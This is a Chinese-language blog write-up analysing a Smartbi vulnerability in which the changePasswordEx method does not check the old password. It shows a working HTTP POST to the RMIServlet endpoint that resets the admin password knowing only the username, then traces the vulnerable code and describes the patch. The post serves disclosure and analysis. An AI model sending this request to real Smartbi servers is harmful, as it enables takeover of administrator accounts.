Smartbi 修改用户密码漏洞

漏洞简介

通过查看 Smartbi 的补丁包信息,发现存在漏洞在某种特定情况下修改用户的密码,进行简单的复现和分析

图片

漏洞复现

在页面上修改密码时,需要知道原本的用户对应的密码

图片

图片

图片

 

直接构造这样的数据包,就不需要知道原本的密码,知道用户名就可以修改密码

POST /smartbi/vision/RMIServlet HTTP/1.1
Host: 192.168.222.133:18080
Content-Length: 73
Cache-Control: max-age=0
If-Modified-Since: 0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept: */*
Origin: http://192.168.222.133:18080
Referer: http://192.168.222.133:18080/smartbi/vision/index.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=4A4AC06EC1DF3CDDC45239C211926FA1
Connection: close

className=UserService&methodName=changePasswordEx&params=["admin","","1"]

图片

图片

 

漏洞分析

smartbi.usermanager.ILocalUserManagerModule#changePasswordEx

图片

 

smartbi.usermanager.UserManagerModule#changePasswordEx

图片

 

修改密码的操作虽然获取了用户名 原本的密码 修改后的新密码,但是对原本的密码并没有做任何校验处理

userId 是根据传入的用户名查询到的

smartbi.usermanager.UserManagerModule#updateUserEx

图片

 

smartbi.usermanager.UserManagerModule#updateUserExtend

图片

 

漏洞修复

上传补丁包后再发送数据包,发现被拦截

图片

图片

图片

 

匹配到对应的类名和方法就结束执行

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值